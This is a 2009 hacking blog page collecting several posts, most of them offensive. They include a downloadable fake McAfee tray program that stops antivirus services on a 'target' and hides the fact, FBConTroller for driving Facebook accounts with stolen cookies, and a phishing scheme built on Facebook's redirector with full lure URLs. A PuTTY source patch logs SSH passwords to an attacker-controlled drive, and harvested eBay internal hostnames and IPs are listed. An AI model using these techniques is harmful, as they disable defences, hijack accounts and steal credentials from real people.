Skip navigation.

Moving Towards Normality

Actions and Attempts towards Blue Sleep

Thanking Conficker

, , , ...

Can a computer worm ease your life ? Save your time ?
Yes it can especially during Penetration Testing of an infected
network. It so hapenned that the target was a Domain Controller
with all patches updated, clean and sober.
But it was being getting SMB requests from one system infected by
one of DOWNAD/Conficker worm family.
Thanks to Conficker's wordlist, the DC too started after a while
sending out SMB requests, trying to login to some other systems.
MS08-067 patch was present and nobody was using the System. The
conclusion matched the sniffer output. The Domain Controller got
compromised by Conficker's Password wordlist with "admin" access.
This greatly reduced time and efforts required for manual
testing.

This incident is quite inspiring to edit Conficker and remove the
malicious payloads and enable it as a Network Crawler releasing
it from Point A, asking it to hit Point B,C,D any but compromise
as many systems and return back to Point A bringing along the map
of traveresed systems.

Time for OpenConficker ?

A worm saves your day !

One keeda can save you lots of Peeda
admin123


Fake McAfee Antivirus System Tray

,

Fake McAfee SysTray:

Many a times compromised Windows Desktops as well as Server Systems have well updated Windows Patches and Active Antivirus Softwares like Symantec, McAfee, etc. running on them. Under such situations it is very difficult to run Keyloggers, Hackwares, or any application whose signature is present well in advance in the AV's Signature DB.

One of the workaround is to delete the virus definitions but that is not very wise if you don't want to get detected.
One other workaround is to Disable the AV via System Tray for a temporary period of time.
This also is difficult at times when direct Interaction with the GUI is required to disable the AV and even the slightest movement using the Target's Remote Screen access might raise an alert.

To solve this problem where McAfee Antiviruses are installed, here is a a Fake McAfee Antivirus System Tray EXE.
Run this on your Target's system via Startup Folder or Registry or just directly using cmd access.

This Fake McAfee AV needs to be run as administrator or an almost equally powerful user on your target system.

This Fake McAfee AV does the following :

1 ] Stops McAfee services viz.

Mcafee MCShield
Mcafee Framework Service
Mcafee Task Manager

2 ] Kills McAfee System Tray Process : McTray.exe

3 ] Shows up in System Tray the same Icon used by real McTray.exe
(McAfee System tray)


This way the Target shouldn't notice a missing Systray ICON even when the AV Services have ben disabled and the real Systray Process has been killed.
Now this unprotected window period can be used to run any Tool/utility previously detected/blocked by McAfee.

One .ico file and Three exe files have been compiled by me available for download.
One of them requires mcafee.ico in the same folder as the exe.
The other one requires mcafee.ico to be in C:\WINDOWS\
The third one will auto detect your WINDOWS folder (whichever drive it is) but mcafee.ico should be planted there by you.
Use whichever you find most appropriate and easy to use.

Success rate : Good on McAfee AV for Desktops.

NOTE :
- Rename the Fake SysTray exe to McTray.exe so that he difference is unnoticed.
- A few McAfee installations might have different process names, service names and a different SysTray Icon. Test it on yourself before trying it on someone else.
- The author of this Fake McAfee AV holds no responsibility for whatever damage this FakeMcAfee SysTray causes to your Targets.
- This TooL is NOT A SPYWARE though I wouldn't be surprised if AV companies label it as in their AV Databases. Fake McAfee SysTray doesn't attempt to delete or cause damage in any form, it only disables protection offers by McAfee AV. The aftermath of this could be anything depending on what software / malware is executed after that.
- Fake McAfee SysTray doesn't restore the stopped/killed processes. Fake McAfee SysTray doesn't infect other exe files or attempts to spread on its own.

Contact if you require AV killers alongwith Fake AV Systrays for Symantec Endpoint, Avast, Comodo, AVG, etc.

Download : Fake_Silent_McAfee_SysTray from
http://solidmecca.co.nr [ Under Left Side of the Page/Tools]

Breaking FBConTroller, Unintentionally ?

,

Anyone who has successfully used FBConroller version 1.0 or anybody who has looked into what a
Facebook Cookie looks like would have seen a variable called xs.
Facebook has recently introduced a new variable called lxs whose sole aim (as observed by me till
date) is to hold a value of 1 and most of the times it shows up just before xs.
lxs=1;

This doesn't mean that Facebook is trying to break FBConTrolleR but this could be true. Just not
so sure. But one thing is definitely evitable.
This interferes working of FBConTroller and sometimes breaks down
its normal operation.
But how does introduction of just 1 variable in the cookie have such a big adverse efffect ?
Answer : Reason is "Not-so-great" programming
The code written by me doesn't search for the whole word xs in the cookie.txt but goes
alphabet-wise one by one and checks for appearance of the letter 's' after 'x'

But there is a solution.
A counter will be added to increment 0 to 1 on seeing lxs
OR
After reaching xs, 3 more characters will be read from cookie.txt to check if it has "=1;"

Harder the Battle, Sweeter The Victory
-- (Revolver)

ePukeMail ProcBay

,

eBay uses procmail (no disrespect but its a software which is seldom updated by its author) and I
had an accidental discovery a few days back on Promotional Coupons and Offer Emails sent by eBay.

Just reply to a Promotional Email or an Email holding a Discount Coupon. Make sure to Include the
Original Message in the Reply.
Though such Coupon Emails could be sent by eBay from any eBay Email address, the mail should be
sent only to "eBay Global EasyBuy" <eBay@reply.ebay.in>

You can remove your username from the Subject field which you have registered at eBay (its
recommended to replace it with something else)

Make sure to Include this Text in the reply :


Dear Sir/Madam,

ABCDEFG. HIJKLMNOP.
QRSTUVW.XYZABCD.
123456789 :-(

password ?

Regards,
XX





Now after you hit send ou will receive 2 Emails :


First :
From: reply@reply.ebay.in
Subject: Re: XX, Global EasyBuy Diwali offer: Assured free gifts & chance to win LCD TV &
Blackberry!
which is actually a Reply to the Email which you sent.


and

Second:
From:"Mail Delivery Subsystem" <MAILER-DAEMON@sjcitkcdmz08.sjc.ebay.com> [ Note that this ID is
subject to change ]
Subject: Returned mail: see transcript for details


Repeat the process and you will find Procmail (a mail filtering and categorising software) puke
out its log file alongwith eBay Inc.'s Singapore Servers' Internal IP addresses one by one alongwith a full FQDN. This directly isn't a vulnerability since Internal IPs can be obtained from mail headers as well but mailing back a grepped log file isn't a very safe action both for procmail as well as for eBay.

If you are lucky the Log file sent out by procmail might also include Subject Lines like :
1 ] Emails usernames of other eBay users
2 ] Nature of Coupons sent to them by eBay
3 ] Cancellation of accounts
4 ] Banning of users
etc.

Regardless of whether you see all the above or not, you will definitely see an error message like
this one in one of the mail's body content :

 ----- The following addresses had permanent fatal errors -----
"|IFS=' ' &&exec /usr/local/bin/procmail -f- || exit 75 #cm_user"
    (reason: can't create (user) output file)
    (expanded from: <cm_user@eresponse.vip.ebay.com>)

   ----- Transcript of session follows -----
550 5.0.0 "|IFS=' ' &&exec /usr/local/bin/procmail -f- || exit 75 #cm_user"... Can't create 
 output


And if you are lucky you might get a whole list like the one below :




So far these are the Internal IP addresses and Domain Names which I've gathered :

sjciport01-ext.sjc.ebay.com [10.6.60.178]
sjciport02-ext.sjc.ebay.com [10.6.60.179]
sjciport03-ext.sjc.ebay.com [10.6.60.18]
sjciport04-ext.sjc.ebay.com [10.6.60.239]
sjciport05-ext.sjc.ebay.com [10.6.60.161]
.
.
.
sjciport06.sjc.ebay.com [10.112.152.242]
sjciport07.sjc.ebay.com [10.112.152.243]
sjciport08.sjc.ebay.com [10.112.152.244]
sjciport09.sjc.ebay.com [10.112.152.245]
sjciport10.sjc.ebay.com [10.112.152.246]

[ You can guess the remaining ]

FBConTroller v2.0 - (Facebook Control Utility) version 2.0

,

FBController - The Ultimate Utility to Control Facebook accounts without the Password is now version 2.0

Let me clear this again like last time that this utility WON'T hack/crack Facebook accounts.
The utility will need biscuits/cookies instead of the password.

FBConTroller version 1.0 started with a simple requirement about which I scribbled something here in the past : http://my.opera.com/quakerdoomer/blog/2009/04/26/sharing-your-biscuits-unintenionally

And then it ultimately reached :
http://my.opera.com/quakerdoomer/blog/2009/05/07/looking-for-fbcontroller
and
http://my.opera.com/quakerdoomer/blog/fbcontroller-facebook-controller-the-ultimate-facebook-controller-without-the-pa



==========================
Changes in version 2.0
==========================

- You don't have to provide each and every cookie variable in the command parameter.
Just save your cookie into a file and point FB towards it.

- FBConTroller v2.0 has a menu based Operation making it easier to control.

- FBConTroller as of now can Write on one's own wall, other's wall, Retrieve Profile Page,
Retrieve Friends List and even attempts to Retrieve Inbox and Send Messages.

Many changes have taken place in the FB UI and the Cookie structure. The Detailed list about internal changes is available here :
http://my.opera.com/quakerdoomer/blog/2009/09/12/changes-in-facial-booxpressions

==============================================================

Download : http://solidmecca.co.nr [ Under Left Side of the Page/Tools]

Happy Controlling ! :-)

Changes in Facial Booxpressions

,

Changes in Face(Book)ial Expressions :

FBConTroller is Catching up with the frequent UI changes made by
Facebook in its display pages.

Listed below are a few a changes (already implemented in v2.0) observed in Facebook UI from Saturday, August 15, 2009 till today :

1 ] Status Update Page Changed to :
POST /ajax/updatestatus.php HTTP/1.1
from
POST /updatestatus.php HTTP/1.1


2 ] Lots of X don't appear anywhere anymore
XXXXXXX: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
and
XXXXXXXXXXXXXXX: XXXXXXXXXXXXX
have disappeared.

3 ] login_x has been deprecated by lxe

4 ] Introduced
lsd=xxxxxxxxxx
10-DIGIT-RANDOM-NUMBER-CONSTANT-PER=SESSION

5 ]
ref=name">
is gone from homepage.php

6 ] The variable s_vsn_facebookpoc_1 has gone from the Cookie.

7 ] In version 2.0 of FBConTRoller :
The search string is
class="fb_menu_link">
to check for Logged in user

8 ] Ajax content strings to display snippet, title(sender), message and messagetimestamp in the Front UI have been changed

Sender Name changed from
<td class=\"name_
to
\"title\":\"
OR
\"html\":\"

whichever one wants to prefer to grep/find (but not a selective choice in FBConTroller)

Message TimeStamp changed from
\"date\">
to
\"timeLastUpdatedRendered\":\"

Subject changed from
=\"subject_text
to
{\"subject\":\"

Inbox Snippet Text search text changed from
=\"snippet\">
to
\"snippet\":\"



This made me redo the whole Inbox Retrieval code according to the changes applied.
Though this sounds tedious and yes it was but some of these changes have simplified the search code now and has almost eliminated a few minor bugs.

After all not every change aims your mind to derange !

Strengthening falsehood using weak truths

, ,

Using Facebook to aid Facebook Phishing :

!! DESCRIBED below is just a Random Thought. Please do not try this from home !!

Imagine this Scenario :
1 ] You receive an email stating :
"We have observed that your Facebook was attacked to gain unauthorised access.
To avoid account locking please login to your account by clicking here."

2 ] Now this *here* URL is
http://www.facebook.com/l.php?u=http://www.facebook-scam-pages-whatever.com/---------------For%20the%20safety%20and%20privacy%20of%20your%20Facebook%20account,%20for%20this%20Session%20you%20will%20have%20to%20enter%20your%20password%20on%20the%20next%20Facebook%20web%20site%20page.%20You%20will%20now%20be%20redirected.%20Please%20click%20Continue



3 ] A little URL obfuscation till the allowed limit can further help hide the obvious text and ofcourse this being a proper Facebook owned php redirector, none of your Software Phishing-scam-detectors might warn you.
Also l.php echoes the whole URL. All that a phisher needs is a page named :
"---------------For the safety and privacy of your Facebook account, for this Session you will have to enter your password on the next Facebook web site page. You will now be redirected. Please click Continue"
on "http://www.facebook-scam-pages-whatever.com"

4 ] Care has been taken to echo the same warning back in the URL asking the user *"TO ENTER"* the password.

5 ] After the user visits "http://www.facebook-scam-pages-whatever.com" (which should be designed to look like a legit part owned by Facebook) and gives away his password, he/she/it can be sent back to:
http://www.login.facebook.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!%20Congratulations%20You%20%20%20have%20successfully%20secured%20and%20protected%20your%20Facebook%20account%20%20%20Session.%20You%20will%20have%20to%20enter%20your%20password%20on%20the%20next%20Facebook%20web%20site%20page.%20You%20may%20now%20logon%20to



So as we see, gone are the days to host custom pages to lure people to reach a phishing page and to display a success message
2/3 steps in this attack was carried out using Facebook.com's hosted pages.

After all, human stupidity can be sometimes considered as a feature more than a bug !

Face-ing/Face-booking the Username Length Limitations

Congratulations to those who have number of alpabets in their First name equal to or more than 5 because some them can have their Facebook usernames with their complete first name.



Maybe the number of people in this world having string length of their First name < 5 is less than those with > 5.

The following was tried to be done to force FB to register a 4 alphabet username :

STEP I : Analysing Internal Facebook Ajax code (without sending any packets back internally checks for the string length) If its < 5 you are then and there asked
to set is > 4

STEP II :
Check availability : [Purposely send a username > length of 4]
GET http://www.facebook.com/ajax/username/check.php?username=USRNM&nctr%5Bid%5D=ceb57f3a6d51432abd2a464e84bf6b6a&nctr%5Bct%5D=1245089012828 HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://www.facebook.com/username/
x-svn-rev: 168745
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.facebook.com
Proxy-Connection: Keep-Alive
Cookie: <YOUR-COOKIE-GOES-HERE>



STEP III :
POST http://un.facebook.com/ajax/username/grab.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.facebook.com/username/
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Proxy-Connection: Keep-Alive
Content-Length: 253
Host: un.facebook.com
Pragma: no-cache
Cookie: <YOUR-COOKIE-GOES-HERE>

username=(PUT-YOUR-4-OR-LESS-ALPHABET-USER-NAME-HERE)&nctr%5Bid%5D=3e9c57d8f8a6d51b8eb4295dc5503c1b&nctr%5Bct%5D=1245088669375&hash=a21198e36f473fc7e8bf999624aaf7cb&post_form_id=73bf272ea999e67826e5478ad123a435&post_form_id_source=dynamic_post&next=http%3A%2F%2Fwww.facebook.com%2Fusername%2F


I couldn't manage to get mine !! All that was received was :

HTTP/1.1 200 OK
Date: Mon, 15 Jun 2009 18:02:09 GMT
Server: Apache/1.3.41.fb2
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Cnection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

bc 
<html><body><script>document.domain="facebook.com";window.parent.username_handle_error("Something went wrong. We're working on getting it fixed as soon as we can.");</script></body></html>
0




But there is one guy who actually managed to get this done.
Proof ?


Pseudo Loss for Gain - Opera 10.00 Beta

, , , ...

Have you recently upgraded from [WINDOWS] Opera 10.00 alpha to
Opera Version 10.00 Beta Build 1551 ?
If yes then, as expected after downloading the latest update, Opera would have asked you whether you want to restart the browser.

Opera closes itself properly unlike killing the process using taskkill (which many of us do to get loads of out tabbed windows back )

Now on browser restart you won't be seeing any of your tabs back !
SHOCKED ? A simple Browser update made you lose your work ?
Saved tabs gone. Nothing remains.. Not even your Bookmarks.. Not even URL History !
Above this, Opera mocks at you on its homepage and says "Reward yourself with Opera 10.00"

Very Quickly, operadef6.ini was checked by me which read :
[System]
Multi User=0   ; If enabled Opera will use Windows profiles to store individual user settings


Multi User was indeed set to 0 but Opera 10.00 beta still created Application Data\Opera\Opera 10 Preview and \Local Settings\Application Data\Opera\Opera 10 Preview
This also meant that Opera wasn't reading from local folder.

The only change to be made to solve this is to locate :
operaprefs_default.ini and make the following change
[User Prefs]
Language File=D:\Program Files\Opera 10 Preview\locale\en\en.lng
[System]
Multi User=0   ; If enabled Opera will use Windows profiles to store individual user settings


You will get all tabs, windows, bookmarks and history back. (Ignore the Language File path.. Leave it the way it is in your ini file)
OPERA RULZ !!

PUTTKyeak

, , , ...

PUTTKyeak = PUTTY + KEYLOG + TWEAK

Nothing fancy, nothing great.
Described below is a small putty source code hack which will ask putty to log all SSH packet data by default into a file and ask putty not to ignore passwords. Hence, the log output file will include full credentials (usernames and passwords)

Before we begin : Download the Putty Source code. here in this case for windows : putty-src.zip

STEP I :
In putty.h we see the following
#define LGXF_OVR  1       /* existing logfile overwrite */
#define LGXF_APN  0       /* existing logfile append */
#define LGXF_ASK -1       /* existing logfile ask */
#define LGTYP_NONE  0       /* logmode: no logging */
#define LGTYP_ASCII 1       /* logmode: pure ascii */
#define LGTYP_DEBUG 2       /* logmode: all chars of traffic 

*/
#define LGTYP_PACKETS 3       /* logmode: SSH data packets */
#define LGTYP_SSHRAW 4       /* logmode: SSH raw data */

Change the LGXF_OVR and LGXF_APN to :
#define LGXF_OVR  1       /* existing logfile overwrite */
#define LGXF_APN  0       /* existing logfile append */


STEP II :
In WINDOW.C we see
cfg.logtype = LGTYP_NONE;

do_defaults(NULL, &cfg);

CHANGE it to :
cfg.logtype = LGTYP_PACKETS;

do_defaults(NULL, &cfg);


Step III :
Furthermore you can go ahead and edit the LOGGING.C file and locate this section :
event = dupprintf("%s session log (%s mode) to file: %s",
      (mode == 0 ? "Disabled writing" :
                       mode == 1 ? "Appending" : "Writing new"),
      (ctx->cfg.logtype == LGTYP_ASCII ? "ASCII" :
       ctx->cfg.logtype == LGTYP_DEBUG ? "raw" :
       ctx->cfg.logtype == LGTYP_PACKETS ? "SSH packets" :
       ctx->cfg.logtype == LGTYP_SSHRAW ? "SSH raw data" :
       "unknown"),
      filename_to_str(&ctx->currlogfilename));

Change the cfg.logtype to LGTYP_PACKETS in all 4 lines and then no matter what logging mode is selected, putty.exe will always perform a SSH packet logging alongwith the password.


Step IV :
You can go one more step ahead and hardcode the logging filename (cfg.logfilename).


Step V :
As observed in ssh.c
{
    if (ssh->cfg.logomitpass)
pkt->logmode = blanktype;
}

Let this be unchanged, locate SETTINGS.C

Change From :
    gppi(sesskey, "SSHLogOmitPasswords", 1, &cfg->logomitpass);

Change To :
    gppi(sesskey, "SSHLogOmitPasswords", 0, &cfg->logomitpass);


Step VI :
Compile the source and create a new putty.exe


There are other methods to achieve the same using something called PuttyHijacker, but that would involve Process Injection and a few other things. The advantage of replacing the putty.exe application is that you don't have to wait and monitor your target. Map a remote drive (of a system under your control) using NetBios and give that Path in the Logging filename.
The disadvantage of replacing your target's putty.exe is that paranoid HIDS modules will prompt "Application changed" warnings. You will need register the new putty.exe to handle this accordingly before replacing the original putty.exe with the hacked one.

Other easier way to do this is to edit the settings inside the Saved Sessions (but that is again limited if there is a Session Saved).

November 2009
M T W T F S S
October 2009December 2009
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30